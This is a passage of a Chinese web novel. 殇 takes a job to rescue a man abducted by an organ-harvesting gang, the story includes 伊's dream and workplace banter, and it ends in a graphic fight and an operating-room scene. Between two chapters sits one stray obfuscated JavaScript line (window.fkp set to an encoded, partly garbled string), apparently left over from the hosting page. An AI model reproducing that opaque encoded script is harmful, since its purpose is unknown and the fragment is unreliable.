这时,有两个喝得酩酊大醉的低阶都市猎人出现在了他们的眼中。他们两个刚刚从酒吧出来,相互搀扶着路过了巷子口。他们有所不知,他们已经被深渊之中的猎食者们盯上了。清理者们轻轻拍了拍手,接着拿出了狩猎工具,悄悄地回退到了巷子的更深处。在这两个人来到另一个巷子口的时候,一把连着绳索的弯钩从黑暗的巷子之中抛出,直直地飞向那两人。那两人丝毫没有注意到这点。接着弯钩勾住了其中一人的脖子,随后这个被勾住的人被立即拽入了黑暗的巷子之中。这时另外的那个人瞬间反应了过来,但为时已晚。另一把弯钩此刻已经勾在了他的肩上,接着他也随着之前那人一起,被拽入了黑暗的巷子之中。他大声呼救,奋力挣扎。他的挣扎没有任何作用,反倒使肩上的那把弯钩钩得更紧了。此刻,他陷入了绝望,没有人能来救他这个卑微的低阶都市猎人。 几秒之后,他停了下来,一双黑色的手出现在他的眼前。同时,他的耳边传来了“梦魇”的低语。 “编号o43-7-14-27,你知道你犯了什么事吗?” 他浑身颤抖着,双腿止不住地发抖。面对这个问题,他也不知道答案。他小声地回答道: “不......不知道。” “让我来告诉你吧。你所犯的事,就是路过了我们的眼前,路过了这如深渊一样的巷子。” 听到“梦魇”的回答,他瞬间吓得面色苍白。 “放心,你不会死的。不过,你要在别人的身体里活着了。下辈子注意点吧,可怜的都市猎人。” 说完,一把锋利的匕首刺穿了他的颈部。鲜血迸发,他的惨叫声回荡在黑暗的巷子之中。但很快,这惨叫声就消失了。留下的,是一具新鲜的尸体,与一群收尸人。负责搬运货物的人搬走了他们的尸体,过程中没有发出一点声音。负责清理的人拿出化学喷雾枪,将一种未知溶液喷洒在了血迹之上,顿时巷子内升起了一团白色的烟雾。在烟雾退散之后,他们也消失了,地上的血迹与痕迹也随着他们一起消失了,仿佛这里什么都没发生一样。 虽然处理掉了这两人,但他们的狩猎依旧还在继续...... 待太阳升起的时候,他们便带着今天夜晚的收获,回到他们的基地,处理晚上所狩猎到的新鲜猎物。 ...... 天空中飘散着洁白无瑕的雪花,白云遮住了大半边的天空,只留下一角来让太阳在其中发光发热。透过那一角,阳光照在了一片白雪皑皑的雪原上。雪原上,伊缓缓苏醒。看到面前的雪原,伊愣在了原地。 伊: “(疑惑)奇怪,为什么我好端端在床上睡觉会突然来到这里呢?” 此时一阵冷风吹过,但伊并未感觉到一丝寒冷。察觉到这点,伊瞬间明白了。她猜测自己一定是又来到了一处幻境之中。这时,一片雪花落在了她的鼻尖上。她对眼看了看这片雪花,然后用手指轻轻地将它抿了下来。看着指尖的雪花,不知为何,伊竟感觉有些暖暖的。漫天的雪花随风飘舞,宛若淘气的小精灵。这时,一个熟悉的声音从她耳边响起。 “嘿!另一个我。” 伊转头一看,发现一个穿着高科技战甲的人正站在自己身旁看着她。她的脸被一副有着漂亮花纹的面具挡上了,伊没法看清对方的面容。见到她,伊好奇地问道: “你好呀!请问你是谁?” “都说了,我是你。” 说完,她摘下了面具。随后,伊看清了她的面容。她跟伊长得一模一样,红眼白发白皮肤。见到她的样子后,伊惊呼道: “哇!果真是另一个我。我们两个是一模一样的。” “不,还是有些区别的。你的头发是盘起来的马尾辫,我是披头散发的自然发。” 伊仔细打量了她一番,的确是这样的。 “确实诶!” “我们先不讨论这些无用的话题。我们相见的时间有限。” “好的。” “我来找你是通过‘心灵窗口’的方法来实现的,所以说我们两个是在跨区域对话。这种技术不属于现在,你不能知道有关这项技术的任何信息。否则后果我们都无法承担......” “明白。” “之前我一直让你提防殇,但现在看来我的劝告是错误的。在这次冒险之中,我建议你得跟殇处好关系,这对你有好处。” “明白。我跟殇的关系挺好的,他待我就跟他亲女儿似的。” “那挺好......为什么我的那次循环中殇对我的态度没有那么好呢?” “嗯?” “啊,没事。我接着往下说。你是知道你怎么来到无人区的吧,而且你也知道是谁送你来这里的吧。” “知道......” “这个真相你最好不要告诉任何人,不然到时候我怕你会惹上麻烦。最主要的是,我怕殇会因此疏远你,或者干脆放弃你。” 听到这话,伊激烈反驳道: “殇不会那样做的!” “那倒不一定。世事无常,我见过各种各样的你和各种各样的殇。你们两个的种种秘密与想法,我都知道。不用我说,你也知道殇是国王的事实吧。为了他的那个计划,他可以牺牲掉你来换取与那个男人对抗的力量!” 此刻,伊沉默了。 “如果他那么做,那么你将成为‘殇’,可悲的没落遗殇。无论成功与否,你注将死亡。但......” “我相信他不会那么做的。我相信殇!” “希望你的直觉不会骗你。” 此刻伊很激动,她想开口说出心中的想法,但她却没有说出来。她最后选择了沉默。 “另一个我,希望你记住一点。若想成就这番事业,你必须付出一切。在这条路上,你必须不择手段地活着。只有见证了这世间一切的黑暗,你才能领悟真正的光明究竟为何物。” 说到此处,另一个她的眼角泛起了泪光。 “我犯下了许多过错,杀了许多无辜的人。我曾挥刀向光明,斩断情缘。我曾为追求光明,熄灭了真正的光,带来了黑暗。我的双手沾满了鲜血,许多人的一生葬送在了我的手上。我是你,但是那个最不像你的那个你。” 她擦了擦眼角的泪,继续说道: “该死的,老毛病又犯了。泪,总是流不完的。——不要可怜我,我是最可恨的那个你。要不是旅者及时阻止了我,我也许会毁掉更多的光明。保持你的纯真,不要再走上我的道路了......光之碎片,不是靠杀戮与强制提取得到的。” 此刻,伊不再沉默。她张开双臂给了另一个她一个拥抱,伊微笑着对另一个她说道: “没关系的。事情会慢慢变好的,阴霾与黑暗终会过去的。” 另一个她用手轻轻拍了拍伊的后背,很欣慰地对她说: “看到你还如此,我心满意足了。记住,你是这个世界最后的火种。” 说完,周围的一切连同另一个她化作一道光消失了...... 伊睁开眼睛,猛地从床上坐了起来。她看了看周围,摸了摸自己的脸,发觉刚刚的一切都只是梦。她看了看床边的闹钟,发现此时是早上六点多。伊叹了口气,说道: “原来只是梦啊......对吗?” ...... 通历43年7月14日早上8点,殇如昨天一样在床上睁开双眼。他做了个不好不坏的梦,这个梦很普通,普通到他醒来之后都忘了自己具体梦到什么。他换好衣服,推门来到客厅。伊还如昨天一样看着电视吃着泡面。殇跟伊打了个招呼,然后去卫生间内洗漱。洗漱过后,他来到客厅与伊一起吃泡面,就跟昨天一样。 饭后,两人便出门工作。殇一路护送着伊来到奶茶店。伊去到更衣间换上了工作服,然后带着微笑走上了工作岗位。见此,殇才放心离去。今天的奶茶店还是如往常一样冷清,来的人很少,大多都是回头客,没有几个新顾客。但即便如此,伊依旧微笑着对待每一位顾客。伊的敬业精神震惊到了另外两名员工。保罗很好奇地问伊: “为什么店面这么冷清,你还能保持这样的工作热情?” 伊微笑着回答道: “因为敬业。干一行,爱一行。哪怕我只是个普通的奶茶店员工。” “哦?看来你是个很懂的家伙喽。那挺好,你总比我们这两个混日子的街头小子要强。” “别这么不自信。每个人都有潜力,每个人都有属于自己的天赋。即便是街头小子,也可以活出一番风采的。” 听完伊的话,在一旁的什红亮放下手头的拖布,微笑着鼓了鼓掌,他对伊夸赞道: “看人家这姑娘这话说得,小嘴跟抹了蜜的。可不像你,小嘴跟淬了火似的。” 保罗: “我靠,整的你好像比我强似的。你那嘴比我这嘴臭多了!” “嘿,你小子咋地要?” “怎么?要不我们两个比一比?” “操!比一比,谁怕谁?” 见此,在一旁的伊赶忙劝道: “诶!别这样。大家都是一个屋檐下工作的,别把关系搞得僵硬。大家和谐一点,烦恼就少一点。” 保罗: “(淡定)姑娘,别担心。我们两个经常这样,谁也不服谁的时候就这样拌嘴。然后在工作之后去棒球馆打打棒球,比比赛,泄泄气。” 什红亮: “(微笑)没错。我们就是这样发泄对生活的不满的。” 伊: “(尬笑)原来是......这样吗?看来是我误会你们了。” 什红亮: “(微笑)别见怪,姑娘。我们两个发小都这样很多年了。” 伊: “(惊讶)哈?你们两个是发小吗?!” 保罗: “没错。我们两个从小就认识。都是斯塔迪罗家族的小子。” 伊: “(好奇)斯塔迪罗家族?” 什红亮: “哦?你不知道吗?” 听到什红亮的话,保罗忍不住笑噗了一声,然后笑着对什红亮说: “啥?我该问你呢,傻子。你不会还不知道这姑娘是从外面来到这里的吧?” 什红亮双手抓头,一脸惊讶地说道: “是这样吗?操!为什么不告诉我?” 保罗: “你也没问呢。” 什红亮: “(不好意思)哎呀哎呀!你这让我怎么跟她说话啊?我不就被动了吗?” 听到这话,保罗微笑着调侃了一句: “你啥时候主动过?” 听到这话,什红亮可就不答乐意了。什红亮极力解释道: “你这话我可不乐听!虽然我大部分时间都是被动,但我起码跟我老婆谈恋爱的时候主动了。” “对对对,你确实是主动了。但不过,你跟她还没结婚吧。你怎么能叫人家老婆呢?” “反正都睡过了!我又不花心,我又不喜欢别的女人。我想一心一意对她,叫老婆怎么了?” “卧槽。行行行,你说的有理。我犟不过你。” 在一旁的伊已经被无视了许久,在此刻才插上了话。 伊: “大哥们,能先回答一下我的问题吗?” 这时,保罗和什红亮从刚刚的争论之中摆脱了出来,他们意识到他们貌似无视了伊的存在。于是他们两个赶忙道歉。 什红亮: “诶呀,对不住了姑娘,净顾着拌嘴了,把你给忘了。” 保罗: “诶呀,把你给忘了。抱歉哈,姑娘。” 伊微笑着摇了摇头,说道: “没关系。” 之后,保罗和什红亮好好给伊介绍了一下东城的两大家族。第一大家族就是他们讲的斯特迪罗家族,这个家族的人之间不靠血缘连接团结在一起,而是靠情缘。事实上,斯特迪罗家族之中有着纯种血统的也就只有薇米丽卡街的那群红头发的居民,数量不足这个家族的百分之五。而其他加入到这个家族在一起抱团取暖的人占了这个家族的绝大部分,可以说,这些人才是这个家族真正的支柱。第二大家族是吉列尔莫家族,这个家族如斯特迪罗家族一样,靠的是情缘连接彼此。这个家族的人之中有着纯正血统的人占据该家族总人数的32%,这比斯特迪罗家族的占比要高,但他们家族的总人数比斯特迪罗家族的人要少很多,甚至连斯特迪罗家族的一半都没有。他们家族的人大部分都是倔脾气,遇事容易与人死磕。而且思想顽固,其他的任何思想都无法撼动他们脑中的想法。 听完这些,伊对东城的了解更深了一步。 ....... 与此同时,殇来到了东城之眼。他走过东城之眼的街道,径直来到了狂想乐团俱乐部门前。他推开俱乐部的门,走了进去。俱乐部还如昨天一样,还是那么几个人在俱乐部里闲逛。在这些闲逛的人当中,殇看到了正在抽烟的小明。见到他,殇赶忙上前去搭话。 殇: “(微笑)你好啊,小明。” 听到殇的声音,小明很是惊讶,他没料到殇会来得如此之早。于是他赶紧把手中的烟给掐灭了,从口袋中拿出烟盒将烟放在了烟盒之中。接着,小明对殇说道: “哥们,想不到你今天这么快就来了!” “没用的少说。快!告诉我有什么委托能让我来处理。” “委托啊......倒有一个。不过,这个委托可不是一般人能够处理的。为了你的安全我建议......” 这时,殇打断了小明。他很好奇地问道: “这个委托是要干什么?” 小明面色凝固,冷冷地回答道: “去清理者的老巢里找回一个人。这个任务太危险了,我怕你......” 殇自信地对小明摆了摆手,然后十分霸气地对小明说: “不用多说了。这个委托我接了!” 听到殇这么说,小明赶紧劝说道: “不行啊!哥们。你不能这么做!我大哥嘱咐过我,危险的活不能让你干!你要是死了,你怎么向那位姑娘交代!我怎么向我大哥交代啊!” 殇微笑着摇了摇头,他用手拍了拍小明的肩膀,很自信地对他保证道: “我保证我会完成委托的,而且,活着回来!” 见到殇如此,小明也只得同意。小明也用手拍了拍殇的肩膀,他的表情很是忧虑。他不想让殇冒这个危险。 小明: “(坦然)哥们。既然你都这么说了......那我也不能不给你面子。这个委托由你来完成吧。完成后,你能拿到298块钱。我就一分不拿了,就当是弥补我这次犯的错误吧。” 殇: “(惊讶)我去,这单这么多钱吗?!” 小明: “因为这单危险啊!所以钱才多。” 殇: “(点点头)哦。——赶紧把雇主的联系方式给我吧,我得我得赶紧干活了!” 之后,小明将雇主的联系方式交给了殇。在殇离开俱乐部之前,小明拉住了殇的手。他将一个十字护身符交到了殇的手中,希望这个可以保佑殇可以安全无事地归来。虽然他和殇认识才一天多,但小明却用对好哥们的态度去对待殇。殇能领悟个大概,所以他收下了这个护身符,并用一个大拇指告诉小明可以放心。 小明: “哥们。祝你好运!如果你可以归来,你将一战成名。无论如何,一定要回来。命,比什么都重要。” 殇: “知道了。别墨迹,跟个娘们似的。” 一个小时后,在东城的一间包子铺中,殇见到了雇主。从她此时的着装的颜色来看,她是一位低阶都市猎人。她背着一把黑柄白刃的长刀,刀刃上几道刮痕。她是个年轻漂亮的姑娘,她有着高挺的鼻梁、红红的嘴唇、一对弯弯的眉毛以及一双炯炯有神的大眼睛。一头乌黑的长发垂到肩膀,三两个蝴蝶结点缀在其中。见到殇,她的面部表情松弛了一些,但气色依旧很凝重。她坐在了殇的对面,胳膊放在桌子上双手相握,面色十分凝重。她不安地看了看周围,似乎是在躲避着什么。突然,她转头对一旁的服务员说: “小哥,麻烦给我们来一笼羊肉馅包子。” 一旁的服务员点了点头,然后就去端包子去了。她回头看了服务员一眼,然后转过头来与殇谈起了正事。她很警惕地对殇问道: “你是殇吗?” “我是。这单小小明给我的委托。” 殇即答道。 “你是街头小子?还是都市猎人?我看你不像是事务所、协会、帮派中的人。你到底是干什么的?你先得给我交代清楚。” 殇耸了耸肩,淡定地回答道: “我啊,只是个没事干的失业人士。” 听到殇的回答,她很失望地用手锤了下桌子,皱紧眉毛吐槽道: “操!又他妈是个混子。——哎......算了,能有人帮忙就已经很不错了。” 听到这话,殇可就不乐意。他长这么大,还没人这么说过他呢。 “诶?!老妹,你这话可就不对了啊!什么叫我是混子?你看我这样的人像混子吗?” “像。” 她即答道。 “哪里像?我很正经的好吗?” “在这城市之中,你竟然不带武器?多么荒谬!” 听到这话,殇整个人都被震惊到了。 “啥?” “不带武器,你就不怕那天有人把你杀了吗?” “啊?你们这里的民风也太‘淳朴’了!在大街上走路还能被人杀掉的?” “没错。我的很多亲人就是这样死去的。” “啊......太草了。你们这地方,真是个他妈的‘风水宝地’啊。” 这时服务员将一笼包子端了上来。她冲着服务员笑了笑,然后道谢了两句,接着转过头来继续对殇说道: “这么说吧,二百六十五件兵器,你会什么?你擅长什么?” 殇的嘴角微微上扬,一抹自信的笑容出现在他的脸上。他微笑着对她说道: “我每样都会一点点。” 听到殇的话,她自然是不信的。她假装很期待地问道: “展示一下?” 她本想看着面前这位“小丑”落得个毫无颜面的结局,但没想到,殇接下来的举动直接让她改变了对殇的看法。殇的表情瞬间严肃,猛地一拍桌子,直接将筷子振飞到了空中。接着他手一划,又一挥,两根筷子精准地插在了她的长发上。那个过程很短暂,不过两秒之间。她整个人都惊住了,路过她们桌的服务员更是直接愣在了原地。片刻之后,她才意识到了刚刚发生了什么事情。这时,殇站起来一把将她头发中的两根筷子给拽了出来,用手摸了摸。殇微笑着调侃道: “老妹,你该洗头发了。” 说完,殇用手纸擦了擦筷子,然后将筷子放回了原位。突然,殇面前的这个女人双手紧紧地握住他的右手,她连忙为之前的无礼而道歉。殇是个大男人,自然不会在意这些。突然间,殇感觉她的手握得很紧,就像是抓住了希望的稻草一般。她的眼神之中充满了希望,她的脸上洋溢着笑容。 她松开了手,从口袋里拿出了狩猎者平板,接着点开其中一张照片,转过平板给殇看这张照片。这张照片里有一条黝黑的巷子,在巷子口的位置,一个身着灰色西服的男人被一把锋利的弯钩勾入了巷子之中。看过照片,殇很好奇地问她: “这就是委托的内容?” 她点了点头,回答道: “没错。我的委托就是让你去救那个男人。” “他是你的什么人?” 她的语气突然变得担心与伤感起来,她的头低了一些。 “他是我的丈夫。我们才结婚半个月......” “这张照片是什么时候拍的?” “今天凌晨三四点的时候。” “你知道是谁绑走了你的丈夫吗?” “知道。是一群疯子,一群叫做清理者的疯子。” “所以说,我该怎么救出你的丈夫呢?” 听到殇这么说,她拿起平板操作了几下,调出了一张特殊的地图。她将平板递给殇,殇接过平板仔细打量了这张地图一番。他发现在东城外的郊区外围标记着一个红叉,貌似那里就是任务地点。他放下平板,问道: “所以说,我要去那个地方去救你的丈夫吗?” “对。那个地方是清理者的一个老巢,我的丈夫一定会被抓到那里。消息我都打听完了,那个地方一定有我的丈夫!而你要做的,就是救出他来。只要你能把他带回来就行,哪怕你找到的是具尸体......” 说到此处,她的眼角泛起了泪花。 “他是我的唯一,我不想失去他。但他被清理者抓走了......我也无能为力,只得找你来去救他。——你肯定想问为什么我不去亲自救他吧?” 殇没说话,只是点了点头。 “因为还有七个多月,我们的孩子就出生了。为了这个孩子,我没办法去冒这个险。这段日子我一直都干着轻松的活,为了保护我肚子里的小宝宝。” “哦!怪不得。” “他曾跟我说过:无论如何都要让我和孩子好好地活下去,为了这个目的,他可以为我们娘俩去赴汤蹈火。” 在一旁的殇夸赞道: “是个负责任的男人!” 这时,她的双手再次握紧了殇的右手,这次比之前力气更大。她眼角的泪花在此刻化作两行泪水,缓缓流过她的脸颊。她恳求道: “为了这个家!为了孩子能有个爸爸!你一定要把他救回来了啊!大哥!” 殇将左手放在她的手上,微笑着保证道: “放心,老妹。老哥我一定会把你的老公给救回来的!” 听到殇的答复,她激动地点了点头,说道: “嗯。加油啊,老哥。” 片刻之后,她松开了殇的手,然后将接头人的种种信息都交给了殇。在执行任务之前,她想让殇吃些东西再走,但殇摆手拒绝了。他站起身来向包子铺外面走去。走了没两步,他突然停下转头对那个女人说道: “这些你自己吃吧。多吃点,对你肚子里的孩子好。” 说完,他便离开了。望着殇的背影,那个女人感觉心里暖暖的。 一个半小时后...... 殇来到了预定的接头地点:一座郊区的废弃小楼之中。令殇想不到的是,街头的人竟是埃罗。两人见到彼此,都惊愕地看着对方。殇率先问道: “卧槽。怎么是你啊?” 埃罗反问道: “哥,我还想问你呢!你问我,我问谁去?” “不管了,是你也好。认识人总比不认识的好一点。” “说得对,老哥。” “所以说,接头人是干什么的?” 埃罗抱个膀回答道: “就是给你们这些执行者接应的。告诉你地点在哪里、情报是什么以及在你完成任务后护送你回去。就这些。” “啊?” “不必惊讶,习惯了就好了。” “那你能分到多少钱呢?” 埃罗简单计算了一下,接着回答道: “大约就二十。干接头的也就收个一成钱,总没你这个执行的得的多。” “那你为什么不当执行的那个呢?怕死吗?” 埃罗笑了笑,然后继续说道: “哈哈哈哈,怕死?哼,多少还是怕一点的。毕竟不是所有人都像你一样是个大人物。——能让苍白叫前辈的人,一定是个强到爹妈都认识的那种大人物。” “说得不错!但是以后少拍马屁,这样不太好。” “知道了,哥。” 说完,埃罗领着殇来到了楼顶去观望不远处的风景。楼顶刮着冷风,风不大,只能吹去树叶与纸片。埃罗指着不远处的废弃的大商场说道: “那里就是囚渊帮的老巢,一座烂尾了十多年的烂尾楼。活跃在这城市之中的绝大部分清理者都在那里盘踞。” 殇看着那座废弃大商场调侃道: “他们可真会选地方!白占政府的便宜。好赶得上那地方是给他们造的了。” “你要是想进去救人,就得找地方偷偷溜进去。不然打草惊蛇可就完犊子了。面对这群家伙,可没人能救得了你。俺也一样。我能做的,只是开车护送你出来,但不能护送你进去。” “没事。不过是一群莽夫,老子自己一个人就够了。” 这时,埃罗将一根信号棒交给了殇,并嘱咐道: “哥。要是实在完成不了任务,你就用这个。我只要看到光,我就开车接你回去。” 殇拿起信号棒看了看,然后放下信号棒对埃罗点了点头。 殇: “接下来,就是战斗时间了。” 说完,殇告别埃罗,独自一人赤手空拳地走向了不远处的废弃大商场。他没走几步,身后的埃罗就叫住了他。 “哥!你这样去行吗?什么也不带容易出事啊。” 殇停下来,转头对着他露出了自信的笑容。殇很淡定地告诉他: “拳头是我最好的武器。” 埃罗很担心地问殇: “哥。你这样真的行吗?” 殇很自信地回答道: “没问题的。你就只需要准备接应我就行了。” 说完,殇转头走向了那座废弃大商场。 他没有选择潜入进去,而是光明正大地走到了这座废弃大商场的门前。他拍了拍商场的大门,发现大门被什么东西给挡住了,用手推不开。 殇: “还挺聪明,知道得堵门。不过......这种方法可拦不住我。” 殇下压身体,将核心能量汇聚在拳头上,接着一个隼之冲刺撞碎了大门。他拍了拍身上的尘土,很潇洒地走了进去。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第八话:清理行动(下) 殇刚走进去,就发现许多双眼睛就在黑暗中注视着他。那一双双在黑暗之中注视他的暗影们蠕动着,在黑暗之中警惕地观察他的一举一动。殇每走一步,都能听到铁链被轻轻拽动的声音。暗影们似乎对殇充满的敌意,铁链被拽动的声音越来越大了。殇也是如此,他随时准备应对会突然向他发起进攻的暗影们。当殇走到大厅中央的时候,七八盏探照灯齐刷刷地照向了他。灯光汇聚在他的身上,所有的暗影都注视着他,仿佛下一刻,那些暗影就会冲出黑暗来撕碎他。殇高举右手,张开五指,对黑暗中的暗影们喊道: “别躲着了!出来吧。我只是来找你们谈谈事,不是来找茬的。” 话说出去没多久,一个身着黑色朋克服装的面具男就走出黑暗,来到了殇的面前。在距离殇还有七步的时候,他停了下来,并拔出了腰间的手枪。他用枪指着殇的脑袋,很警惕地问道: “你是谁?来谈什么事的?” 殇放下右手,面对微笑地回答道: “我啊,是来这里找个人的。那人欠我点钱,我得让他还上。” 面具男冷笑了一声,然后表情瞬间变得严肃,他微微提高了下自己的嗓门,紧接着质问道: “你知不知道这里是哪里?!来这里的人,要么是跟我们一起的同伴,要么就是来送死的‘产品’。” 殇耸了耸肩,微笑着回答道: “知道,但不完全知道。有一点不知道,所以不完全知道。” “那一点是哪一点?” “我不知道这里的人,是不是好说话的。” “好说话?你当你谁啊?!首脑吗?还是管理员?操......你可真他妈是个傻逼啊。不知自己几斤几两就来这里找事,可真是活腻歪了。” 殇冷笑了一声,然后表情瞬间变得严肃起来。他接着说道: “如果我说,我才一百四十五斤呢?” 面具男此时已经没了耐心,他很生气地对殇说道: “你这傻逼,去死吧。” 在这么严肃的时刻,殇有些俏皮地问道: “七步以外枪快?” 面具男没有回答殇的问题,他此刻一秒都不像在殇身上浪费。他扣动了扳机,但下一刻,子弹并没有打在殇的头上,而是打在了其中一盏探照灯上。刚刚那一刻,殇一个冲刺来到了他的身前将他的手抬高,让这枪打空了。殇狠狠地瞪了面具男一眼,然后一个过肩摔直接将他狠狠地摔在了地上。殇没给他任何反应机会,殇直接夺过他手中的手枪,然后对着天花板连开数枪打光了里面的子弹,接着用这把枪一下砸晕了这个面具男。 这时,周围的黑暗之中蠕动着的暗影们变得躁动起来,铁链被拖动与金属之间碰撞的声音回荡在周围。脚步声越来越来大,暗影们越来越急躁。突然,黑暗之中传来了一个人狂妄的话语。 “你是个什么东西。敢来我们囚渊的地盘撒野?!活腻歪了吧。告诉你,我们可有一百来人。就是吐口痰,也能淹死你!” 殇笑了笑,他觉得这些人实属狂妄。他用左手食指指了一圈,边指边说: “就你们这群家伙,只敢躲在黑暗之中欺负弱者!面对我一个手无寸铁的人,你们没一个人敢像他一样走出黑暗跟我战斗!” 他高举双手,对着黑暗中的暗影们竖起了中指,并大声说道: “老子他妈的要打一百个!” 面对殇的挑衅,那些暗影再也忍受不住了。他们打开了这里所有的灯,让这里亮了起来。殇放眼望去,一百多个手持锯齿刀的清理者站在了大厅之中,以一个巨大的圆环把自己给包围了。抬头往上看,二三四楼层平台处也有清理者。他们堵死了这里的一切道路,防止殇活着离开这里。所有清理者都带上了面罩,做好了清理掉殇的准备。叮叮当当的声音回荡在周围,那是铁链相互碰撞的声音。几十柄弯钩在他们的手中如钟摆一般来回摆动,在它们银色的表面上,还残留着血迹。 面对这么多的清理者,殇自然有些紧张。但作为曾经驰骋战场的战士,他不会惧怕。殇握紧了拳头,激活了核心,随时准备战斗。在黑色的旋涡中心的他,无所畏惧。 在此刻,空气仿佛凝固住了。殇警惕地看着这些清理者,这些清理者也警惕地看着殇。他们都在等待一个时机,一个最佳的出手时机。片刻之后,殇率先有了动作。他假装毫不在意地往前迈了一步。见此,十多个清理者拿着锯齿刀冲向了他。在第一个接近殇的清理者靠近殇后,他对着殇猛地挥出一刀。殇一个侧闪躲过这一刀,接着对着他的腹部猛地来了一记重拳,直接将他打飞了出去。这时,殇的背后突然出现了清理者。这个清理者对着殇挥了一刀,想要背刺殇。殇瞬间反应过来,瞬间下压身体伏地躲开这一刀,然后跳起转身一个回旋踢踢倒了这名清理者。刚解决他,又有三名清理者冲上前来对着殇进行攻击,殇一个滑铲躲开攻击并踹倒一人,接着用手撑地一个回旋站了起来。他下压身体,一个冲刺拳直接打飞出去一个,接着转身突刺拳打倒了另外一个,最后一个上踢腿踢倒了那个刚刚站起来的清理者。 又来了七八个清理者,殇丝毫不慌。他先一个招架术打倒了一个清理者并夺走了他手中的锯齿刀。殇用他手中的锯齿刀的刀面像扇苍蝇一样连续扇倒了两个清理者,接着一个回旋驱散了靠近的清理者,同时还将这把锯齿刀扔到了天花板上,让它牢牢插在了天花板上。回旋过后,殇下压身体,一个冲刺抓起其中一人就是连转五圈。在这五圈之中,殇用手中的人当做武器打倒了周围的清理者。殇用很霸气地用手指了指那些清理者,然后将手中的人像扔皮球一样扔到了这群清理者之中,顺带还砸倒了一个清理者。 见此,小部分的清理者就怂了,他们悄悄离开了人群。而大部分清理者则面带愤怒地瞪着殇,他们的眼神之中充斥着愤怒。那种眼神告诉了殇一切,他明白接下来才是战斗的开始。 这时,站在前面的那些手持弯钩的清理者们开始旋转起手中的弯钩,接着使出全身力气将弯钩抛向殇。霎时间,二十多把弯钩齐刷刷地袭向了殇,这种动作,跟他们狩猎时的如出一辙。二十多把弯钩以圆环形阵列进行收缩,形成了三百六十度的无死角水平攻击。面对这等攻势,殇没有慌张。他一个滑铲从底下躲开了这些弯钩。他一把抓住其中一根铁链,然后使劲往后一拽,铁链另一头的清理者没来得及反应就被拽倒在地。抓住这个机会,殇一个冲刺冲入了这群清理者之中,接着使出了隼之冲刺,连续的冲刺拳击倒了二十多名清理者。又一轮弯钩袭来,这次是半圆形阵列,一百八十度水平攻击。殇一个滑铲再次躲过弯钩。这次清理者们学聪明了,见到殇躲开,扔弯钩的人赶忙左右分开给后面的清理者让开地方,然后三两个清理者拿着锯齿刀冲向了殇,想要把殇钉死在地上。殇见此,一把抓住其中一根铁链,然后一轮转身站了起来。他握紧手中的铁链,用力往上一提,直接抢过清理者手中的铁链。殇挥舞手中的铁链,就跟挥舞鞭子一样。殇以铁链当做鞭,连续三下水平横扫,直接打倒了十五六个清理者。接着殇一边躲避弯钩,一边用手中的铁链在清理者之中横扫。配合着他的功夫,这些清理者完全失去了反抗的能力,只能被殇无情地打倒在地。不到两分钟,那威武浩荡的一百多名清理者被打得只剩下了十几人还能站着战斗,而除了这十几人的那些,都倒在了地上呻吟。 这时,从二楼传来了一声枪响。一发粗糙的子弹擦着殇的肩膀飞了过去,这发子弹打在了地上。殇猛地回头看去,只见二楼的部分清理者的手中锯齿刀与弯钩在此刻变成了粗糙的“野性”栓动式步枪。这时,二楼的清理者们吹了个哨子,然后一楼剩下的十几个清理者立刻撤出了大厅。殇察觉到了这点,他赶忙跑向最近的一个掩体。见此,二楼的清理者们立刻端起手中的枪,然后对着殇开火。霎时间,二十几杆枪同时开火,子弹如同雨点般袭来。殇见此,被迫激活了洞察者的能力。 突然间,殇的身影消失了。见此,二楼的清理者们瞬间慌了。他们端着枪观察着大厅内的每一个角落,仔细寻找着殇的身影。就在这时,其中一个清理者突然被一拳撂倒。听到声音,二楼的清理者刚转过头去查看情况,就见到殇拿着拿着一把绿色的弩对着他们发射了许多锋利的绿叶。没等他们开枪,这些绿叶十分精准地打在了他们的头上。接下来,他们面前的景象变成了无尽的黑暗,他们感觉到自己倒在了地上,但他们此刻已经顾不得这些。片刻之后,他们昏睡了过去。殇走到他们身旁仔细看了看,又用脚踹了踹他们,他们没有任何反应。殇看着手中的绿色能量连弩(Emw-96),忍不住夸赞道: “这就是所谓的精神伤害吗?可真是够牛逼的。” 接下来,殇用这把连弩一路闯到了顶楼。沿路上的清理者都被殇用这把弩给击晕了,几乎是一个没剩。到了顶楼,殇发现这里并不是他要去的地方。于是他花了十几分钟在这里找路,在逼问清理者与反复迷路之后,最终他在地下二层到达了他要去的地方:一个被改造过的地下停车场。入口上挂着一个牌子,上面写着“工坊”二字。 殇: “(好奇)工坊?这些家伙难道还干什么走私活吗?” 刚走进工坊,殇就看到了令他后背发凉的一幕。只见空旷的工坊内放着大大小小的钢铁盒子,在这些钢铁盒子的上面,用便签贴着各种人体组织的名字。不仅如此,工坊内的架子上还放着放在玻璃储罐里的由维生液浸泡的各种人体器官,在这些储罐上面,同样贴着这冰冷标签。殇感觉到一阵恶心,他的五官扭曲在了一起。 殇: “(恶心)他妈的......这都是些什么啊?!” 虽然殇不想直视这些东西,但为了探明事实,他还是靠近了这些东西。走到这些东西前面,殇才注意到这些标签上有着编号。这些编号,象征着这些器官曾来自于一个鲜活的生命。看着这编号,殇不禁寒毛直竖,心底发凉。想到这些器官的由来,殇不禁感到了愤怒。 殇: “(愤怒)这就是一个人的价值吗?!一个屁用没有的编号?扯犊子呢!这些畜生!为什么世界上会有这样的人存在啊?!” 殇的说话声吸引到了隔壁房间的清理者的注意,她们其中一人推开了房门,走进来查看情况。见到有人进来,殇上前直接一只手将她按在墙上,接着质问道: “为什么?!像你这样的小姑娘,也是这清理者的一员吗?” 见到这架势,她哀求道: “大爷!别杀我,别杀我!我只是个干后勤的。” “后勤?看来你跟他们是一起的。” 殇摇了摇头,先缓缓松开了手,然后一拳头将她打晕了过去。殇推门进去,看到了令他今生难忘的一幕。 只见七八个身穿医用安全服的女清理者围在一个血迹斑斑的手术台旁,正用手中的手术刀小心翼翼地切割着受害者的皮肤。在手术台周围的桌子上,正摆放着上一个受害者被提取出来的脏器。它们被分开装在了不同的玻璃储罐之中,每个储罐上都粘着标签,标签上冷冷地写着它们的编号: “043-7-14-27。” 